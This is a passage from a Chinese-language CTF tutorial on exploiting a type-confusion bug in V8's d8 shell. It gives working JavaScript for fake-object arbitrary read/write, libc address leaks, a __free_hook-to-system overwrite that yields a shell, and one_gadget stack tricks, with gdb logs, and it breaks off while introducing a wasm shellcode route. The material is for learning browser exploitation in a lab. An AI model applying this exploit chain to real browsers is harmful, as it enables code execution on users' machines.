- | | prototype | +--------------+ | |
- | +---------------+ | |
- +--------------------+ elements | | |
- +---------------+ | |
- | length | | |
- +---------------+ | |
- | properties | | |
- +---------------+ +-------------+
- 上述逻辑主要涉及了对象和 elements 内存地址的相对偏移, elements 内存地址与实际存储内容的相对偏移, 不懂的童鞋可以好好画一下, 捋顺这个构造过程. 后续利用都需要以这一部分为基础.
- 下面我们利用 JS 语言实现上述任意地址读写的原语.
- var fake_array = [
- float_array_map,
- i2f(0n),
- i2f(0x41414141n),
- i2f(0x1000000000n),
- 1.1,
- 2.2,
- ];
- var fake_array_addr = addressOf(fake_array);
- var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
- var fake_object = fakeObject(fake_object_addr);
- function read64(addr)
- {
- fake_array[2] = i2f(addr - 0x10n + 0x1n);
- let leak_data = f2i(fake_object[0]);
- console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));
- return leak_data;
- }
- function write64(addr, data)
- {
- fake_array[2] = i2f(addr - 0x10n + 0x1n);
- fake_object[0] = i2f(data);
- console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
- }
- 需要注意的是, 我在 fake_array 中申请了 6 个元素占了 0*30 个内存长度, 因此再加上 elements 对象 10 字节的 map 和 length, 总长度应该是 0*40 个长度, 因此 fake_object 所在内存位置应该为 addressOf(fake_array)-0*40+0*10.
- 然后在 v8 中进行调试:
- var a = [1.1, 2.2, 3.3];
- %DebugPrint(a);
- var a_addr = addressOf(a);
- console.log("[*] addressOf a: 0x" + hex(a_addr));
- read64(a_addr);
- %SystemBreak();
- write64(a_addr, 0x01020304n);
- %SystemBreak();
- gdb 能够得到如下日志信息:
- 0x3d41cfb4fa19 <JSArray[3]>
- [*] addressOf a: 0x00003d41cfb4fa18
- [*] leak from: 0x00003d41cfb4fa18: 0x0000312055a82ed9
- pwndbg> c
- Continuing.
- [*] write to : 0x00003d41cfb4fa18: 0x0000000001020304
- pwndbg> telescope 0x00003d41cfb4fa18
- 00:0000│ 0x3d41cfb4fa18 - 0x1020304 <---- 这里已经写入了我们想要写入的数据
- 01:0008│ 0x3d41cfb4fa20 - 0x22229ec40c71 - 0x22229ec408
- 02:0010│ 0x3d41cfb4fa28 - 0x3d41cfb4f9f1 - 0x22229ec414
- 03:0018│ 0x3d41cfb4fa30 - 0x300000000
- 最后可以发现, 对象 A 的内存地址处确实写入了我们想要写入的数据.
- 这一步需要注意的是, 如果我们将 fake_object 的数组内容直接改写为:
- var fake_array = [
- float_array_map,
- i2f(0n),
- i2f(0x41414141n),
- i2f(0x1000000000n),
- ];
- 在 gdb 调试中你会发现, 这种情况下 fake_array 的 elements 指针指向了 addressOf(fake_array) + 0*20 的位置, 而并不是我们之前理解的 - 0*30 的位置. 个人猜测, 这应该和自己编写的 64 位无符号整数转浮点数的 i2f 函数有关系. 如果是这样的话, 就不存在 oob 的类型混淆了, 但这并不影响这一步利用 fakeObject 实现任意地址读写的效果. 但为了保证前后统一, 还是建议在实际构造时, 构造成 6 个元素的 fake_array.
- 说了这么多貌似很绕口, 但希望大家能理解我说的上述注意事项的本质.
- 0*05 任意地址读写怎么用: 谈漏洞利用的思路
- 通过上述类型混淆, 我们实现了一套任意地址读写的漏洞利用原语. 那如何实现利用呢?
- 在传统堆漏洞的 pwn 中, 利用过程是这样的:
- 通过堆漏洞能够实现一个任意地址写的效果
- 结合程序功能和 UAF 漏洞泄露出一个 libc 地址
- 通过泄露的 libc 地址计算出 free_hook,malloc_hook,system 和 one_gadget 的内存地址
- 利用任意地址写将 hook 函数修改为 System 或 one_gadget 的地址, 从而实现 shell 的执行
- 因为我们在浏览器中, 已经实现了任意地址读写的漏洞效果, 因此这个传统的利用思路在 v8 中也同样适用.
- 另外, v8 中还有一种被称之为 webassembly 即 wasm 的技术. 通俗来讲, v8 可以直接执行其它高级语言生成的机器码, 从而加快运行效率. 存储 wasm 的内存页是 RWX 可读可写可执行的, 因此我们还可以通过下面的思路执行我们的 shellcode:
- 利用 webassembly 构造一块 RWX 内存页
- 通过漏洞将 shellcode 覆写到原本属于 webassembly 机器码的内存页中
- 后续再调用 webassembly 函数接口时, 实际上就触发了我们部署好的 shellcode
- 下面分别讲解一下上述两种思路的利用流程.
- 0*06 传统的堆利用思路
- 在传统的堆利用中, 通常有以下利用方式:
- 泄露 libc 地址修改 free_hook 为 system
- 泄露 libc 地址修改 free_hook,malloc_hook 为 one_gadget
- 我们已经通过漏洞实现了任意地址读写原语, 那么传统利用方式的难点就在于如何泄露 libc 地址了. 只要泄露了 libc 地址, 后面的修改 hook 然后执行的思路就很容易实现了.
- 那如何泄露 libc 地址呢? 下面具体讨论一下. 在实践过程中, 通过 Google 查询资料, 自己总结出了两种泄露方式: 随机泄露和稳定泄露.
- 1. 随机泄露
- 通常情况下, 我们在 gdb 中查看一个 JS 对象的堆内存如下所示:
- pwndbg> job 0x1be6c380fb59
- 0x1be6c380fb59: [JSArray]
- - map: 0x39dda87c2ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- - prototype: 0x193429f91111 <JSArray[0]>
- - elements: 0x1be6c380fb31 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- - length: 3
- - properties: 0x2e9708700c71 <FixedArray[0]> {
- #length: 0x2c24564401a9 <AccessorInfo> (const accessor descriptor)
- }
- - elements: 0x1be6c380fb31 <FixedDoubleArray[3]> {
- 0: 1.1
- 1: 2.2
- 2: 3.3
- }
- pwndbg> telescope 0x1be6c380fb58
- 00:0000│ 0x1be6c380fb58 - 0x39dda87c2ed9 - 0x400002e97087001
- 01:0008│ 0x1be6c380fb60 - 0x2e9708700c71 - 0x2e97087008
- 02:0010│ 0x1be6c380fb68 - 0x1be6c380fb31 - 0x2e97087014
- 03:0018│ 0x1be6c380fb70 - 0x300000000
- 04:0020│ 0x1be6c380fb78 - 0x0
- ... ↓
- 此时我们查看该内存上方很远很远的地方:
- pwndbg> telescope 0x1be6c380fb58-0x8000 0x500
- 00:0000│ 0x1be6c3807b58 - 0x2e9708704761 - 0x4e00002e97087004
- 01:0008│ 0x1be6c3807b60 - 0x31700000000
- ......
- 478:23c0│ 0x1be6c3809f18 - 0x5637c71a45b0 - push rbp <-- 属于 d8 内存空间的指令地址
- 479:23c8│ 0x1be6c3809f20 - 0x2e9708700b71 - 0x200002e97087001
- 47a:23d0│ 0x1be6c3809f28 - 0x5637c71a45b0 - push rbp
- .....
- 在 gdb 中用 telescope 命令查看会发现, 在对象内存很远的地方会出现属于 d8 binary 空间的指令地址 0x5637c71a45b0, 再看一下这个指令所属内存页, 确实属于 d8 二进制空间:
- pwndbg> vmmap 0x5637c71a45b0
- LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
- 0x5637c69d4000 0x5637c758a000 r-xp bb6000 67b000 browser/x64.release/d8
- pwndbg> x/gx 0x5637c71a45b0
- 0x5637c71a45b0 : 0x56415741e5894855
- 也就是说在很远很远的地方, 一定会存储着 d8 二进制中的指令地址, 虽然程序开启了 ASLR, 但 d8 中的指令地址并不是完全随机的. 我们能够确定的是, 无论 ASLR 怎么随机, 0x5637c71a45b0 这一条指令地址的低 3 字节肯定为 5b0.
- 因此只要我们从当前对象的起始地址处开始向上低地址搜索, 读取 8 字节内容, 如果读取的 8 字节内容低三字节满足 0x5b0 这个条件, 并且从这个内容为地址读取的内容如果为 0x56415741e5894855, 那么基本可以断定读取的这 8 字节即为 d8 中的指令地址了.
- 上述内存搜索的思路, 希望能好好理解一下.
- 根据上述规律, 写出泄露 d8 二进制汇总指令地址的 JS 代码, 如下所示:
- var a = [1.1, 2.2, 3.3];
- %DebugPrint(a);
- var start_addr = addressOf(a);
- var leak_d8_addr = 0n;
- while(1)
- {
- start_addr -= 0x8n;
- leak_d8_addr = read64(start_addr);
- if((leak_d8_addr & 0xfffn) == 0x05b0n && read64(leak_d8_addr) == 0x56415741e5894855n)
- {
- console.log("[*] Success find leak_d8_addr: 0x" + hex(leak_d8_addr));
- break;
- }
- }
- console.log("[*] Done.");
- gdb 运行得到结果如下:
- pwndbg> r
- 0x2aadef9cfba9 <JSArray[3]>
- [*] Success find leak_d8_addr: 0x0000558dbe2d85b0
- [*] Done.
- 后续操作就是, 计算 d8 基地址, 读取 GOT 表中 malloc 等 libc 函数的内存地址, 然后然后计算 free_hook 或 system 或 one_gadget 的地址, 最后将 system 或 one_gadget 写入 free_hook 触发 hook 调用即可实现命令执行, 以 libc.2.27.so 为例, 具体实现如下:
- var d8_base_addr = leak_d8_addr -0xE4B5B0n;
- var d8_got_libc_start_main_addr = d8_base_addr + 0x128FB70n;
- var libc_start_main_addr = read64(d8_got_libc_start_main_addr);
- var libc_base_addr = libc_start_main_addr - 0x21ab0n;
- var libc_system_addr = libc_base_addr + 0x4f440n;
- var libc_free_hook_addr = libc_base_addr + 0x3ed8e8n;
- console.log("[*] find libc libc_free_hook_addr: 0x" + hex(libc_free_hook_addr)); <---- 正常
- %SystemBreak();
- write64(libc_free_hook_addr, libc_system_addr); <---- 触发内存访问异常
- console.log("[*] Write ok.");
- %SystemBreak();
- 当我们运行上述代码后会发现, 我们能够正确读取获得 libc_free_hook 的内存地址, 但当执行 write64 原语时, 却触发了内存访问异常:
- pwndbg> r
- [*] Success find libc addr: 0x000056420e8075b0
- [*] find libc libc_free_hook_addr: 0x00007f16f641b8e8
- ... ...
- RAX 0x7f16f6400000
- ... ...
- 0x56420e5756bd mov rax, qword ptr [rax + 0x30]
- 0x56420e5756c1 cmp rcx, qword ptr [rax - 0x8fe0]
- 0x56420e5756c8 sete al
- 0x56420e5756cb ret
- ... ...
- Program received signal SIGSEGV (fault address 0x7f16f6400030)
- pwndbg>
- 细心的童鞋应该会发现, 我们要写的内存地址 0x00007f16f641b8e8 在 write64 时低 20 位却被程序莫名奇妙地改写为了 0, 从而导致了后续写入操作的失败.
- 这是因为我们 write64 写原语使用的是 FloatArray 的写入操作, 而 Double 类型的浮点数数组在处理 7f 开头的高地址时会出现将低 20 位与运算为 0, 从而导致上述操作无法写入的错误. 这个解释不一定正确, 希望知道的童鞋补充一下. 出现的结果就是, 直接用 FloatArray 方式向高地址写入会不成功.
- 那怎么解决这一问题呢? 我们借助 DataView 这个对象, 将 write 写原语修改一下. DataView 对象的使用方法如下:
- // create an ArrayBuffer with a size in bytes
- var buffer = new ArrayBuffer(16);
- var view = new DataView(buffer);
- view.setUint32(0, 0x44434241, true);
- console.log(view.getUint8(0, true));
- %DebugPrint(view);
- %SystemBreak();
- 将上述脚本单独存储为一个 JS 文件, 然后在 gdb 中调试:
- pwndbg> r
- ... ...
- 67
- 0x1fa2f294b521 <DataView map = 0xe16c3e81719>
- ... ...
- pwndbg> job 0x1fa2f294b521
- 0x1fa2f294b521: [JSDataView]
- - map: 0x0e16c3e81719 <Map(HOLEY_ELEMENTS)> [FastProperties]
- - prototype: 0x24c3b8b4aff9 <Object map = 0xe16c3e81769>
- - elements: 0x190f33840c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- - embedder fields: 2
- - buffer =0x1fa2f294b4e1 <ArrayBuffer map = 0xe16c3e821b9> <-- DataView 的 buffer 信息
- - byte_offset: 0
- - byte_length: 16
- - properties: 0x190f33840c71 <FixedArray[0]> {}
- - embedder fields = {
- 0, aligned pointer: (nil)
- 0, aligned pointer: (nil)
- }
- pwndbg> job 0x1fa2f294b4e1
- 0x1fa2f294b4e1: [JSArrayBuffer]
- - map: 0x0e16c3e821b9 <Map(HOLEY_ELEMENTS)> [FastProperties]
- - prototype: 0x24c3b8b4e981 <Object map = 0xe16c3e82209>
- - elements: 0x190f33840c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- - embedder fields: 2
- - backing_store: 0x55fbe7cf1d00 <---- 存储实际内存地址的 backing_store 属性
- - byte_length: 16
- - detachable
- - properties: 0x190f33840c71 <FixedArray[0]> {}
- - embedder fields = {
- 0, aligned pointer: (nil)
- 0, aligned pointer: (nil)
- }
- pwndbg> telescope 0x55fbe7cf1d00 <---- buffer 的实际内存地址
- 00:0000│ 0x55fbe7cf1d00 - 0x44434241 /* 'ABCD' */
01:0008│ 0x55fbe7cf1d08 - 0x0
... ↓
从上面可以发现, DataView 对象的 buffer 结构体中存储着的 backing_store 属性, 记录的就是实际 DataView 申请的 Buffer 的内存地址. 如果我们将这个 backing_store 指针修改为我们想要写入的内存地址比如 0*41414141, 那么我们再调用 view.setUint32(0, 0*44434241, true) 类似指令时, 实际上就是向内存地址 0*41414141 处写入了 0*44434241, 从而达到了任意地址写入的效果. 这个基于 DataView 的写入, 就不会触发 FloatArray 写入高地址的访问异常.
因此, 我们可以利用上述思路, 编写对高地址内存进行改写的 write64 原语, 具体实现如下所示:
- var data_buf = new ArrayBuffer(8);
- var data_view = new DataView(data_buf);
- var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
- function write64_dataview(addr, data)
- {
- write64(buf_backing_store_addr, addr);
- data_view.setFloat64(0, i2f(data), true);
- %SystemBreak();
- console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
- }
- write64_dataview(libc_free_hook_addr, libc_system_addr);
- %SystemBreak();
gdb 中再调试上述 JS 语句, 可以发现成功写入:
- pwndbg> r
- [*] Success find libc addr: 0x0000561ddc7a15b0
- [*] find libc libc_free_hook_addr: 0x00007fac69b538e8
- [*] write to : 0x00001d43f720e8c0: 0x00007fac69b538e8
- pwndbg> telescope 0x00007fac69b538e8
00:0000│ 0x7fac69b538e8 (__free_hook) - 0x7fac697b5440 (system) - test rdi, rdi
01:0008│ 0x7fac69b538f0 (__malloc_initialize_hook) - 0x0
... ↓
建议这时候将 %SystemBreak() 断点下在 write64_dataview 内部, 因为 v8 在运行时, 会有很多内存释放, 垃圾回收的操作, 而这些操作很容易就能触发 free 函数, 因此上面第二个 %SystemBreak 前很容易就触发到了 free 操作而导致 gdb 崩溃.
最后申请一个局部 buffer 变量, 然后释放, 从而触发 free 操作:
- function get_shell()
- {
- let get_shell_buffer = new ArrayBuffer(0x1000);
- let get_shell_dataview = new DataView(get_shell_buffer);
- get_shell_dataview.setFloat64(0, i2f(0x0068732f6e69622fn)); // str --> /bin/sh\x00
- }
- get_shell();
注意, 获取 shell 的演示需要在 d8 的非调试模式下直接运行才能看到效果. 将脚本中的 %DebugPrint 和 %SystemBreak 等本地调试函数去掉, 直接运行 d8 调用最终 JS 文件:
- root@kali:~/ctf/browser/x64.release$ ./d8 test.JS
- [*] Success find libc addr: 0x00005588111845b0
- [*] find libc libc_free_hook_addr: 0x00007f48be0058e8
- [*] write to : 0x000019b28a68ea18: 0x00007f48be0058e8
sh: 1: +•U: not found
sh: 2: -•U: not found
sh: 1: Syntax error: end of file unexpected (expecting ")")
sh: 1: r•-•U: not found
sh: 1: •-•U: not found
sh: 1: •kZ•U: not found
•h: 1: get_shell_buffer
- : not found
- ,: not found
sh: 1: @$•U: not found
sh: 1: @$•U: not found
sh: 1: •$•U: not found
sh: 1: Syntax error: EOF in backquote substitution
$ uname -a <---- 成功获取到 shell
- Linux kali 4.18.0-18-generic #19~18.04.1-Ubuntu SMP Fri Apr 5 10:22:13 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
- $
在 v8 触发各种各样的 free 操作调用 shell 之后, 终于释放了我们申请的局部 buffer 变量, 成功获取 shell!
2. 稳定泄露
上面讲解了随机泄露的思路, 虽然这种方式适用于很多情况, 但万一当前对象内存低地址处并没有找到这样的 d8 二进制中的指令地址, 或者向上遍历过程中, 如果还没有遍历到需要的指令地址就触发了一个内存访问异常怎么办?
因此上述套路总感觉有一定的不确定性, 那么有没有一种稳定的方式来泄露 d8 的指令地址呢?
答案是, 当然有的. 在调试上述随机泄露的过程中, 由于对浏览器堆内存认识不熟悉, 刚开始用手动的方式寻找上述指令地址. 找了好久都没有找到, 然后就各种 Google 查询, 很幸运的是, 我从 Google 发现了下面这种稳定的泄露方式.
首先用 gdb 调试如下 JS 代码:
- var test_array = [1.1];
- %DebugPrint(test_array);
- %SystemBreak();
查看数组对象的内存分布:
- pwndbg> r
- 0x2cf06adcfaa1 <JSArray[1]>
pwndbg> job 0x2cf06adcfaa1 <-- 首先查看数组对象的内存结构
- 0x2cf06adcfaa1: [JSArray]
- - map: 0x395878842ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- - prototype: 0x08d39f751111 <JSArray[0]>
- - elements: 0x2cf06adcfa89 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
- - length: 1
- - properties: 0x13d0f3180c71 <FixedArray[0]> {
- #length: 0x2fd1d34801a9 <AccessorInfo> (const accessor descriptor)
- }
- - elements: 0x2cf06adcfa89 <FixedDoubleArray[1]> {
- 0: 1.1
- }
pwndbg> job 0x395878842ed9 <-- 然后查看数组对象的 map 类型
- 0x395878842ed9: [Map]
- - type: JS_ARRAY_TYPE
- - instance size: 32
- - inobject properties: 0
- - elements kind: PACKED_DOUBLE_ELEMENTS
- - unused property fields: 0
- - enum length: invalid
- - back pointer: 0x395878842e89 <Map(HOLEY_SMI_ELEMENTS)>
- - prototype_validity cell: 0x2fd1d3480609 <Cell value= 1>
- - instance descriptors #1: 0x08d39f751f49 <DescriptorArray[1]>
- - layout descriptor: (nil)
- - transitions #1: 0x08d39f751eb9 <TransitionArray[4]>Transition array #1:
- 0x13d0f3184ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x395878842f29 <Map(HOLEY_DOUBLE_ELEMENTS)>
- - prototype: 0x08d39f751111 <JSArray[0]>
- constructor: 0x08d39f750ec1 <JSFunction Array (sfi = 0x2fd1d3486791)> <-- 这里存在一个 constructor 构造
- - dependent code: 0x13d0f31802c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- - construction counter: 0
pwndbg> job 0x08d39f750ec1 <-- 查看 constructor
- 0x8d39f750ec1: [Function] in OldSpace
- - map: 0x395878842d49 <Map(HOLEY_ELEMENTS)> [FastProperties]
- - prototype: 0x08d39f742109 <JSFunction (sfi = 0x2fd1d3483b29)>
- - elements: 0x13d0f3180c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- - function prototype: 0x08d39f751111 <JSArray[0]>
- - initial_map: 0x395878842d99 <Map(PACKED_SMI_ELEMENTS)>
- - shared_info: 0x2fd1d3486791 <SharedFunctionInfo Array>
- - name: 0x13d0f3183599 <String[#5]: Array>
- - builtin: ArrayConstructor
- - formal_parameter_count: 65535
- - kind: NormalFunction
- - context: 0x08d39f741869 <NativeContext[246]>
- code: 0x279fa3dc6981 <Code BUILTIN ArrayConstructor> <-- 内置数组构造函数对象的地址
- - properties: 0x08d39f751029 <PropertyArray[6]> {
- #length: 0x2fd1d34804b9 <AccessorInfo> (const accessor descriptor)
- #name: 0x2fd1d3480449 <AccessorInfo> (const accessor descriptor)
- #prototype: 0x2fd1d3480529 <AccessorInfo> (const accessor descriptor)
- 0x13d0f3184c79 <Symbol: (native_context_index_symbol)>: 11 (const data field 0) properties[0]
- 0x13d0f3184f41 <Symbol: Symbol.species>: 0x08d39f750fd9 <AccessorPair> (const accessor descriptor)
- #isArray: 0x08d39f751069 <JSFunction isArray (sfi = 0x2fd1d3486829)> (const data field 1) properties[1]
- #from: 0x08d39f7510a1 <JSFunction from (sfi = 0x2fd1d3486879)> (const data field 2) properties[2]
- #of: 0x08d39f7510d9 <JSFunction of (sfi = 0x2fd1d34868b1)> (const data field 3) properties[3]
- }
- - feedback vector: not available
pwndbg> job 0x279fa3dc6981 <-- 数组构造函数对象
- 0x279fa3dc6981:
- - map: 0x13d0f3180a31 <Map>
- kind = BUILTIN
- name = ArrayConstructor
- compiler = turbofan
- address = 0x7ffccb8d8fe8
- Trampoline (size = 13)
0x279fa3dc69c0 0 49baa0dafb8843560000 REX.W movq r10,0x564388fbdaa0 (ArrayConstructor) <--d8 指令地址
- 0x279fa3dc69ca a 41ffe2 jmp r10
- Instructions (size = 28)
- 0x564388fbdaa0 0 493955d8 REX.W cmpq [r13-0x28] (root (undefined_value)),rdx
- 0x564388fbdaa4 4 7405 jz 0x564388fbdaab (ArrayConstructor)
- 0x564388fbdaa6 6 488bca REX.W movq rcx,rdx
- 0x564388fbdaa9 9 eb03 jmp 0x564388fbdaae (ArrayConstructor)
- 0x564388fbdaab b 488bcf REX.W movq rcx,rdi
- 0x564388fbdaae e 498b5dd8 REX.W movq rbx,[r13-0x28] (root (undefined_value))
- 0x564388fbdab2 12 488bd1 REX.W movq rdx,rcx
- 0x564388fbdab5 15 e926000000 jmp 0x564388fbdae0 (ArrayConstructorImpl)
- 0x564388fbdaba 1a 90 nop
- 0x564388fbdabb 1b 90 nop
- Safepoints (size = 8)
- RelocInfo (size = 2)
- 0x279fa3dc69c2 off heap target
上述调试步骤具体为:
查看 Array 对象结构 -> 查看对象的 Map 属性 -> 查看 Map 中指定的 constructor 结构 -> 查看 code 属性 -> 在 code 内存地址的固定偏移处存储了 v8 二进制的指令地址
用 telescope 查看 code 内存地址处的内容:
pwndbg> telescope 0x279fa3dc6980 0x20
00:0000│ 0x279fa3dc6980 - 0x13d0f3180a31 - 0x13d0f31801
01:0008│ 0x279fa3dc6988 - 0x13d0f3182c01 - 0x13d0f31807
02:0010│ 0x279fa3dc6990 - 0x13d0f3180c71 - 0x13d0f31808
03:0018│ 0x279fa3dc6998 - 0x13d0f3182791 - 0x13d0f31807
04:0020│ 0x279fa3dc69a0 - 0x2fd1d34916a9 - 0xd1000013d0f31814
05:0028│ 0x279fa3dc69a8 - or eax, 0xc6000000 /* '\r' */
06:0030│ 0x279fa3dc69b0 - sbb al, 0
07:0038│ 0x279fa3dc69b8 - and al, 0 /* '$' */
08:0040│ 0x279fa3dc69c0 - movabs r10, 0x564388fbdaa0 <-- 这里存储了 d8 中的指令地址
09:0048│ 0x279fa3dc69c8 - add byte ptr [rax], al
0a:0050│ 0x279fa3dc69d0 - add byte ptr [rax], al
... ↓
可以发现在 code 偏移的 0*40 处出现了 d8 二进制内存空间的指令地址, vmmap 确认一下:
- pwndbg> vmmap 0x564388fbdaa0
- LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
- 0x564388689000 0x56438923f000 r-xp bb6000 67b000 browser/x64.release/d8
- pwndbg> telescope 0x564388fbdaa0
00:0000│ 0x564388fbdaa0 (Builtins_ArrayConstructor) - cmp qword ptr [r13 - 0x28], rdx
01:0008│ 0x564388fbdaa8 (Builtins_ArrayConstructor+8) - retf 0x3eb
02:0010│ 0x564388fbdab0 (Builtins_ArrayConstructor+16) - pop rbp
03:0018│ 0x564388fbdab8 (Builtins_ArrayConstructor+24) - add byte ptr [rax], al
可以发现, 这个指令确实是 d8 二进制中指令地址, 主要用于内置数组的构造.
也就是说, v8 在生成一个数组对象过程中, 会对应着生成一个 code 对象, 这个 code 对象中存储了和该数组对象相关的构造函数指令, 而这些构造函数指令又会去调用 d8 二进制中的指令地址来完成对数组对象的构造.
因此, 我们可以利用上述地址偏移, 结合地址泄露 addressOf 和任意地址读取 read64, 稳定地得到一个 v8 中的二进制指令地址. 具体的 JavaScript 实现思路如下所示:
- var a = [1.1, 2.2, 3.3];
- %DebugPrint(a);
- var code_addr = read64(addressOf(a.constructor) + 0x30n);
- var leak_d8_addr = read64(code_addr + 0x41n);
- console.log("[*] find libc leak_d8_addr: 0x" + hex(leak_d8_addr));
- %SystemBreak();
调试结果显示, 我们已经成功获取到了 d8 内部的指令地址:
- pwndbg> r
- 0x0e11365d0631 <JSArray[3]>
- [*] find libc leak_d8_addr: 0x0000558c1a2f5aa0
之后就和之前随机泄露的利用过程一样了, 这里不再赘述.
3. one_gadget 的技巧
在利用上述随机泄露和稳定泄露获取 libc 地址后, 除了将 free_hook 修改为 system 外, 我们还可以利用 one_gadget 来触发 system 调用. 通常我们找到的 one_gadget 是这样的:
- browser/x64.release$ one_gadget /lib/x86_64-Linux-gnu/libc-2.27.so
- 0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
- constraints:
- rcx == NULL
- 0x4f322 execve("/bin/sh", rsp+0x40, environ)
- constraints:
- [rsp+0x40] == NULL
- 0x10a38c execve("/bin/sh", rsp+0x70, environ)
- constraints:
- [rsp+0x70] == NULL
学习过堆利用的都知道, 触发上述 one_gadget, 需要保证寄存器或栈空间满足指定的要求才行. 但大部分情况下, 栈空间并不会满足上面的要求, 那怎么触发呢?
这时候可以利用 realloc_hook 结合 malloc_hook 调整栈空间布局, 然后再触发 one_gadget. 具体思路如下所示.
首先看一下 malloc_hook 上方地址:
- pwndbg> print &__malloc_hook
- $1 = (void *(**)(size_t, const void *)) 0x7f8a635ccc30 <__malloc_hook>
- pwndbg> telescope 0x7f8a635ccc30-0x10
00:0000│ 0x7f8a635ccc20 (__memalign_hook) - 0x7f8a63278410 (memalign_hook_ini) - push r14
01:0008│ 0x7f8a635ccc28 (__realloc_hook) - 0x7f8a63279790 (realloc_hook_ini) - push r15
02:0010│ 0x7f8a635ccc30 (__malloc_hook) - 0x0
... ↓
可以发现 malloc_hook-0*8 的位置就是 realloc_hook 的地址, 查看 realloc 函数内容:
- .text:0000000000098C30 push r15 ; Alternative name is '__libc_realloc'
- .text:0000000000098C32 push r14
- .text:0000000000098C34 push r13
- .text:0000000000098C36 push r12
- .text:0000000000098C38 push rbp
.text:0000000000098C39 push rbx <-- 如果从这里执行栈空间就向高地址偏移了 0x40 个字节
- .text:0000000000098C3A sub rsp, 18h
- .text:0000000000098C3E mov rax, cs:__realloc_hook_ptr
- .text:0000000000098C45 mov rax, [rax]
- .text:0000000000098C48 test rax, rax
- .text:0000000000098C4B jnz loc_98EE0
- ... ...
- .text:0000000000098EE0 mov rdx, [rsp+48h]
- .text:0000000000098EE5 add rsp, 18h
- .text:0000000000098EE9 pop rbx
- .text:0000000000098EEA pop rbp
- .text:0000000000098EEB pop r12
- .text:0000000000098EED pop r13
- .text:0000000000098EEF pop r14
- .text:0000000000098EF1 pop r15
- .text:0000000000098EF3 jmp rax
只要保证 realloc_hook 不为空, realloc 函数最终会去调用 realloc_hook. 仔细观察上述这段指令, 可以发现它具有调整栈空间偏移的作用.
如果我们从 realloc 起始地址运行调用 reall_hook 的话, 经过 push pop 后, 栈空间最终肯定还是平衡的. 但如果我们不从函数起始地址 98C30 开始执行, 而是从后面的比如 98C39 地址开始执行, 程序就少 push 了 5 个寄存器, 最终在触发 realloc_hook 时就会导致栈空间多 pop 了 5 个寄存器, 也就导致栈空间向高地址偏移了 0*40 个字节.
利用上述栈空间调节技巧, 我们可以在 malloc_hook 处写上 realloc 函数 98C39 的地址, 然后在 realloc_hook 处填写上 one_gadget 的地址, 这样我们就可以动态调整栈空间布局了. 很有可能在触发 one_gadget 时就满足了栈空间要求.
需要注意的是, 同时写入 malloc_hook 和 realloc_hook 时, 如果连续两次使用 write64_dataview 会导致 v8 程序崩溃. 这是因为本质上仍旧需要调用 write64 原语, FloatArray 在第一次 write64 时已经被篡改了, 第二次再调用时, v8 就会检测其合法性, 从而导致触发异常而失败.
我们可以在第一次 write64 时, 利用 DataView 的特性结合 realloc_hook 和 malloc_hook 在内存中是连续的这一特点, 同时改写两者的内存, 实际 JS 实现代码如下所示:
- var data_buf = new ArrayBuffer(16);
- var data_view = new DataView(data_buf);
- var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
- function write64_dataview_double(addr, data1, data2)
- {
- write64(buf_backing_store_addr, addr);
- data_view.setFloat64(0, i2f(data1), true);
- data_view.setFloat64(8, i2f(data2), true);
- }
- write64_dataview_doublelibc_realloc_hook, data_to_realloc_hook, data_to_mallo_hook);
这样后续就可以连续触发 malloc_hook 和 realloc_hook 了.
当然如果这样调整栈空间后, 调用 one_gadget 时的栈空间布局还不满足要求的话, 就可以尝试在触发漏洞之前先调用一些无用的 JS 代码, 动态改变执行 one_gadget 时的栈空间布局, 后续执行 one_gadget 时或许就能满足栈空间要求了, 有兴趣的童鞋可以做一下测试.
0*07 浏览器 shellcode 新姿势: wasm
wasm 即 webassembly, 可能很多童鞋对它都很陌生, 我基本上也是第一次接触. 不过刚开始学习浏览器的话, 先简单了解一下基础用法就可以.
简单来说, wasm 就是可以让 JavaScript 直接执行高级语言生成的机器码的一种技术.
1. Wasm 简单用法
有高人已经做出来一个 WasmFiddle 网站, 可以在线将 C 语言直接转换为 wasm 并生成 JS 配套调用代码. 首先我们来试用一下在线编译, 感受感受 wasm 的魅力.
首先进入网站 https://wasdk.github.io/WasmFiddle/ , 可以看到左侧是 c 语言代码, 右侧是 JS 调用代码, 左下角可以选择 c 语言要转换成的 wasm 格式, 包括 Text 格式, Code Buffer 等, 右下角可以看到 JS 调用 wasm 的最终调用效果.
左下角选择 Code Buffer, 然后点击最上方的 Build 按钮, 就可以看到左下角生成了我们需要的 wasm 代码. 点击 Run, 右下角就可以看到 JS 调用输出了 C 语言返回的数字 42.
我们直接将 CodeBuffer 中生成的 wasm 和右上角的 JS 交互代码拷贝到本地的 test.JS, 进行测试:
- var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
- var wasmModule = new WebAssembly.Module(wasmCode);
- var wasmInstance = new WebAssembly.Instance(wasmModule, {
- });
- var f = wasmInstance.exports.main;
- var d = f();
- console.log("[*] return from wasm:" + d);
- %SystemBreak();
gdb 中调试 v8 可以得到如下输出:
- pwndbg> r
- [*] return from wasm: 42
